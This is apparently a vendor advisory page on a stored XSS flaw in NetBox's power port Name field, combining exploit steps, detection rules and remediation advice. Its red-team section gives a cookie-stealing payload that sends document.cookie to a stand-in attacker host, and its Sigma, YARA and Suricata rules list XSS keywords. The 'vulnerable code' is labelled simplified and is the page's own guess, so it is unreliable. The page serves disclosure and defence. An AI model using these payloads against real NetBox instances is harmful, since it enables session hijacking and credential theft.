CVE-2024-40726
Executive Summary
CVE-2024-40726 is a stored Cross-Site Scripting (XSS) vulnerability in NetBox v4.0.3, specifically within the power port editing functionality. An authenticated attacker with sufficient privileges can inject arbitrary JavaScript or HTML into the Name parameter at /dcim/power-ports/{id}/edit/. This payload is stored on the server and executed in the browser of any user viewing the affected power port details, leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS v3.1 base score of 5.4 (Medium), with a low attack complexity and no requirement for user interaction beyond viewing the page. No public exploit code or Nuclei template is available, but the attack vector is straightforward and well-documented.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
NetBox is a Python/Django-based open-source application distributed via PyPI and GitHub. This vulnerability affects the core application code, not a third-party package. Users should monitor the official NetBox repository for patches and consider applying input sanitization as a temporary workaround.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector (AV): Network – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – No special conditions required.
- Privileges Required (PR): Low – Attacker needs an authenticated account with power port edit permissions.
- User Interaction (UI): Required – Victim must view the malicious power port page.
- Scope (S): Changed – The injected script executes in the victim’s browser context, potentially accessing other origins.
- Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): None – No direct impact on service availability.
Threat Level: Medium. While the CVSS score is moderate, the prevalence of NetBox in data center management makes this a valuable target for lateral movement and credential harvesting.
Deep Dive & Mechanics
The vulnerability resides in the power port edit view (/dcim/power-ports/{id}/edit/). The Name field is not properly sanitized before being stored in the database and later rendered in HTML. NetBox uses Django templates, which by default auto-escape HTML, but if the application uses the safe filter or mark_safe() on the name field, the injected script will execute.
Attack Flow:
- Attacker authenticates to NetBox with an account that has permission to edit power ports.
- Attacker navigates to
/dcim/power-ports/{id}/edit/and injects a payload into theNamefield, e.g.,<img src=x onerror=alert('XSS')>. - The payload is stored in the database without sanitization.
- When any user (including administrators) views the power port list or detail page, the payload executes in their browser.
- The attacker can then steal session cookies, perform actions on behalf of the victim, or redirect to phishing pages.
Root Cause: Lack of input validation and output encoding on the Name parameter. The application likely uses {{ name|safe }} in the template or does not apply Django’s auto-escaping to this field.
Vulnerable vs. Patched Code
Vulnerable Code (NetBox v4.0.3):
# views.py (simplified)
def power_port_edit(request, id):
power_port = get_object_or_404(PowerPort, id=id)
if request.method == 'POST':
power_port.name = request.POST.get('name')
power_port.save()
return redirect('power_port_list')
return render(request, 'dcim/power_port_edit.html', {'power_port': power_port})
<!-- template: power_port_detail.html -->
<div class="field">
<label>Name:</label>
<span>{{ power_port.name|safe }}</span>
</div>
Patched Code (Expected Fix):
# views.py
from django.utils.html import escape
def power_port_edit(request, id):
power_port = get_object_or_404(PowerPort, id=id)
if request.method == 'POST':
power_port.name = escape(request.POST.get('name'))
power_port.save()
return redirect('power_port_list')
return render(request, 'dcim/power_port_edit.html', {'power_port': power_port})
<!-- template: power_port_detail.html -->
<div class="field">
<label>Name:</label>
<span>{{ power_port.name }}</span>
</div>
The fix involves removing the |safe filter and using Django’s escape() function or relying on default auto-escaping.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- NetBox v4.0.3 instance (e.g., Docker:
docker run -p 8000:8000 netboxcommunity/netbox:v4.0.3) - Authenticated user with power port edit permissions.
Exploit Steps:
- Log in to NetBox.
- Navigate to
/dcim/power-ports/1/edit/(replace1with an existing power port ID). - In the
Namefield, inject a payload:<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> - Click "Save".
- Any user viewing the power port list or detail page will trigger the payload, sending their cookies to the attacker’s server.
Alternative Payload (Session Hijacking):
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', '/api/secrets/');
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({name: 'stolen', value: document.cookie}));
</script>
Blue Team (Defensive)
Detection:
- Monitor HTTP POST requests to
/dcim/power-ports/*/edit/for suspiciousnameparameters containing<script>,<img, oronerror. - Use WAF rules to block common XSS patterns in the
namefield.
Honeypot:
- Create a fake power port with a known XSS payload and monitor for execution logs.
Lab Setup:
# Start vulnerable NetBox
docker run -d --name netbox-vuln -p 8000:8000 netboxcommunity/netbox:v4.0.3
# Access http://localhost:8000 and log in with admin/admin (default)
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/dcim/power-ports/*/edit/withnameparameter containing HTML/JavaScript. - Outbound connections to attacker-controlled domains from NetBox server (if payload exfiltrates data).
- HTTP requests to
- File IOCs:
- Log entries in
/var/log/netbox/showingnamefield with<script>tags.
- Log entries in
- Database IOCs:
- Rows in
dcim_powerporttable wherenamecolumn contains HTML tags.
- Rows in
Detection Engineering
YARA Rule
rule CVE_2024_40726_XSS_Payload {
meta:
description = "Detects XSS payloads targeting NetBox power port name field"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-40726"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /<img[^>]+onerror\s*=/i
$xss3 = /<svg[^>]+onload\s*=/i
$xss4 = /javascript\s*:/i
condition:
any of ($xss*)
}
Sigma Rule
title: NetBox Power Port XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in NetBox power port name field
author: Valters IT
logsource:
category: webserver
product: netbox
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/dcim/power-ports/'
cs-uri-query|contains: '/edit/'
cs-uri-query|contains: 'name='
keywords:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of HTML in name field (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-40726 NetBox Power Port XSS Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/dcim/power-ports/"; http_uri;
content:"/edit/"; http_uri;
pcre:"/name=.*(<script|onerror=|onload=|javascript:)/i";
classtype:web-application-attack;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable power port editing for non-admin users via NetBox permissions.
- Apply input sanitization using a reverse proxy (e.g., Nginx with
ngx_http_sub_moduleto strip HTML tags from POST data). - Upgrade to the latest NetBox version once a patch is released (monitor github.com/netbox-community/netbox).
Long-Term Fix:
- Remove
|safefilter from all templates rendering user-supplied data. - Implement Django’s
strip_tagsorescapeon all input fields. - Add Content Security Policy (CSP) headers to mitigate XSS impact:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
Workaround (Django Middleware):
# middleware.py
from django.utils.html import strip_tags
class XSSSanitizerMiddleware:
def __init__(self, get_response):
self.get_response = get_response
def __call__(self, request):
if request.method == 'POST' and 'name' in request.POST:
request.POST = request.POST.copy()
request.POST['name'] = strip_tags(request.POST['name'])
return self.get_response(request)
Valters IT
Securing digital frontiers, one CVE at a time.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.